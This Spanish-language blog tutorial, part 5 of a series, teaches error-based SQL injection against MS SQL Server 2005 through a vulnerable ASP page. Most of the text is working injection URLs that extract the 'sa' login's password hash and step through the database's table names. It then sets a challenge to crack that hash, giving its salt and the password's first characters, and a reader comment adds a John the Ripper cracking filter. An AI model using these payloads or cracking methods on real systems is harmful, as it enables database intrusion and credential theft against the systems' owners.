Inyección de código SQL en MS SQL Server 2005 (Parte 5 de 6)
Penúltima entrega de estos seis artículos en los que se explica todo lo relacionado con la vulnerabilidad de Inyección de código SQL en MS SQL Server 2005. Ya hemos visto cómo obtener diversa información del servidor, bases de datos, usuarios, etc. Ahora nos vamos a centrar en conseguir los diferentes "hashes" con las contraseñas de los usuarios existentes en la base de datos así como también, ver qué tablas existen.
Este método es el que vamos a seguir para obtener tanto los nombres de las tablas de las diferentes bases de datos como los campos de las tablas y la información. Para lo que recomiendo su automatización ya que a mano resulta un trabajo bastante tedioso.
Ahora vamos a obtener los hashes de las contraseñas de algunos usuarios. Para ello vamos a utilizar una consulta algo más compleja que hasta ahora (agradecimientos a Tai por su ayuda con esta compleja consulta).
http://server/insertar.asp?texto=admin'+and+(SELECT SUBSTRING(master.dbo.fn_varbintohexstr(password_hash),1,256) from master.sys.sql_logins where+name='sa')<0—

En esta consulta tenemos que hacer conversiones por el formato en el que MS SQLSERVER almacena los hashes, así como comentar que la tabla en la que se almacenan los hashes es sql_logins. Lo único que tenemos que cambiar para obtener los hashes de las contraseñas de los diferentes usuarios es el nombre de usuario en la parte name=’sa’.
Por lo que ya hemos obtenido el hash del usuario sa:
0x01004086ceb6c046ca420b9dc3bb4f5e33b4be4caeeaaf64f068.
Como minireto os propongo que os animéis e intentéis romper este hash y nos escribáis contando el método que habéis seguido. Como pista os doy los cuatro primeros caracteres de la contraseña (1SBN) y la siguiente fragmentación del hash:
Valor fijo -> 0x0100
Salt -> 4086ceb6
c046ca420b9dc3bb4f5e33b4be4caeeaaf64f068 (SHA1 de la contraseña en mixcase)
(Tai, gracias por la corrección)
Si nos encontramos en un MS SQLSERVER 2000 la consulta para obtener el hash de las contraseñas sería el siguiente:
http://server/insertar.asp?texto=admin'+and+1=convert(int,(SELECT top 1 master.sys.fn_varbintohexstr(password_hash) FROM master..syslogins where name='sa'))--
La siguiente información que vamos a obtener es las tablas de una base de datos. Vamos a centrarnos en BASE_EJEMPLO aunque sería igual para cualquier base de datos.
Lo único que podemos resaltar en las siguientes consultas es que la tabla que vamos a consultar para cada base de datos es sysobjects. Por lo que las consultas quedarían de la siguiente forma:
Consulta:
http://server/insertar.asp?texto=admin'+and+1=convert(int,(SELECT top 1 name FROM BASE_EJEMPLO..sysobjects order by name))--
Tabla: EventNotificationErrorsQueue

Para consultar el resto de tablas hacemos la misma operación que hemos ido hacienda para la btención de los diferentes nombres de usuario.
Consulta:
http://server/insertar.asp?texto=admin'+and+1=convert(int,(SELECT top 1 name FROM BASE_EJEMPLO..sysobjects where+name>'EventNotificationErrorsQueue'+order+by+name))--
Tabla: QueryNotificationErrorsQueue
Consulta:
http://server/insertar.asp?texto=admin'+and+1=convert(int,(SELECT top 1 name FROM BASE_EJEMPLO..sysobjects where+name>'QueryNotificationErrorsQueue'+order+by+name))--
Tabla: queue_messages_1977058079
Consulta:
http://server/insertar.asp?texto=admin'+and+1=convert(int,(SELECT top 1 name FROM BASE_EJEMPLO..sysobjects where+name>'queue_messages_1977058079'+order+by+name))--
Tabla: queue_messages_2009058193
...
Por otra parte, si hay muchas tablas genéricas que no nos interesa obtenerlas, para saltarnoslas podemos incluir un carácter superior en la tabla ascii a todos los que siguen el patrón que se repite, por ejemplo para saltarnos todas las queue_messages podemos poner queue_messagez y problema resuelto. Esto vamos a aplicarlo en la siguiente consulta:
http://server/insertar.asp?texto=admin'+and+1=convert(int,(SELECT top 1 name FROM BASE_EJEMPLO..sysobjects where+name>'queue_messagez'+order+by+name))--
Tabla: ServiceBrokerQueue
...
Consulta:
http://server/insertar.asp?texto=admin'+and+1=convert(int,(SELECT top 1 name FROM BASE_EJEMPLO..sysobjects where+name>'syz'+order+by+name))--
Tabla: tabla_usuarios
Consulta:
http://server/insertar.asp?texto=admin'+and+1=convert(int,(SELECT top 1 name FROM BASE_EJEMPLO..sysobjects where+name>'tabla_usuarios'+order+by+name))--
Tabla: tablacreadaentest
Consulta:
http://server/insertar.asp?texto=admin'+and+1=convert(int,(SELECT top 1 name FROM BASE_EJEMPLO..sysobjects where+name>'tablacreadaentest'+order+by+name))--
Tabla: test_tabla
Así sucesivamente hasta obtener el error que nos indica que no hay más tablas en la base de datos.
Y hasta aquí el quinto capítulo de esta serie de artículos. En la última parte que está pendiente, se verá cómo conseguir los distintos campos de una tabla en concreto.


Comentarios
La fragmentación del hash indicada no es correcta. En MS SQL 2000 se almacena el hash de la contraseña en mixcase concatenado con el hash de la contraseña en uppercase. En MS SQL 2005 han eliminado la parte uppercase y han dejado sólo el hash en mixcase. Además, no hay que olvidarse del salt. El hash 0x01004086ceb6c046ca420b9dc3bb4f5e33b4be4caeeaaf64f068 de MS SQL 2005 quedaría así: 0x0100 (constante, se descarta) 4086ceb6 (salt) c046ca420b9dc3bb4f5e33b4be4caeeaaf64f068 (SHA1 de la contraseña en mixcase). He probado a realizar un ataque de fuerza bruta en GPU para obtener la contraseña en 7 caracteres con [A-Z, a-z, 0-9] y en 8 caracteres [A-Z, 0-9] sin éxito en ambos casos. El software de GPU, por desgracia, no soporta aplicar máscara a los 4 primeros caracteres. También he probado el JTR creando un filtro para que las contraseñas a probar empiecen por '1SBN' pero el algoritmo es muy lento en CPU. Adjunto el filtro del JTR por si interesa: [List.External:custom2] void filter() { int i, length; length=0; while (word[length]) length++; i=length+3; while (i>3) { word[i]=word[i-4]; i--; } word[0]='1'; word[1]='S'; word[2]='B'; word[3]='N'; word[length+4]=0; return; } Un saludo.
Gracias por el comentario, efectivamente había un error, ya esta corregido. El reto de romper el Hash sigue en pie :-D
Añadir comentario